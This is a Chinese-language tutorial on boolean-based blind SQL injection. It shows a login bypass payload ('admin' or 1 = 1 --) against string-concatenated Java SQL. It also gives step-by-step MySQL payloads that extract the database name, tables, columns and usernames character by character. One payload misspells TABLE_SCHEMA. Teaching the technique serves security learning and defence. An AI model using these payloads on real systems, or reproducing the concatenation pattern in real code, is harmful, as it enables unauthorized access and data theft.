布爾注入
條件:
當一個頁面,存在注入,沒顯示位,沒有輸出SQL語句執行錯誤信息,只能通過頁面返回正常不正常進行判斷進行SQL注入。
例如:
String sql = null;
String a = "admin' or 1 = 1 -- ";
String b = 'abc';
sql = "select * from user where username = " + "'" + a + "'" + "and password = " + "'" + b + "'";
最終發送到數據庫的語句就是
select * from user where username = 'admin' or 1 = 1 -- ' and password = 'abc';
上面的語句返回的結果就是數據庫中的所有記錄。
因為對於所有記錄,它都會判斷 username 是否等於 admin 或者 1 是否等於1,而1=1為true滿足條件,就會被查出來,后面加了- -
,就將 and password = 'abc'
注釋掉了,所以這里跳過了sql驗證。
獲取數據庫名長度
length(database()) > 1
#判斷是否大於1,如果正確,就繼續下去,直到錯誤
獲取數據庫名
ORD(mid(database(),1,1)) > 1
獲取表名的長度
(select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCEMA = database() limit 0,1) > 1
# 判斷名為databse()數據庫里第1個表的長度是否大於1,不停的判斷,就能查到表的長度
# 這只是第一個表,要想獲取第二個表,就將limit 0,1改為limit 1,1
獲取表名
ORD(mid(TABLE_NAME,1,1)) > 1
獲取表內字段個數
(select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='mysql') > 1
# user是表名,mysql是數據庫名
獲取字段的長度
(select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='mysql' limit 0,1) > 1
# 修改limit后面的參數即可獲取目標字段的長度
獲取字段的名字
select ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where table_name = 'user' and TABLE_SCHEMA = 'mysql' limit 0,1),1,1)) > 1
# 爆每個字段從第一位開始的十進制值
獲取內容的長度
select (select length(username) from user limit 0,1) > 1
# 已經查出第一個字段的名字是username,查username的第一個內容長度
獲取內容的值
select ORD(mid((select username from user limit 0,1),1,1)) > 1
上面涉及到的函數
函數 | 解釋 |
---|---|
length( ) | 函數返回文本字段中值的長度 |
ord(String) | 將String轉換成十進制值 |
mid(String,a,b) | 將String從a開始向后截取b個字符 |
limit m,n | m 代表從 m+1 條記錄行開始檢索,n 代表取出 n 條數據。 |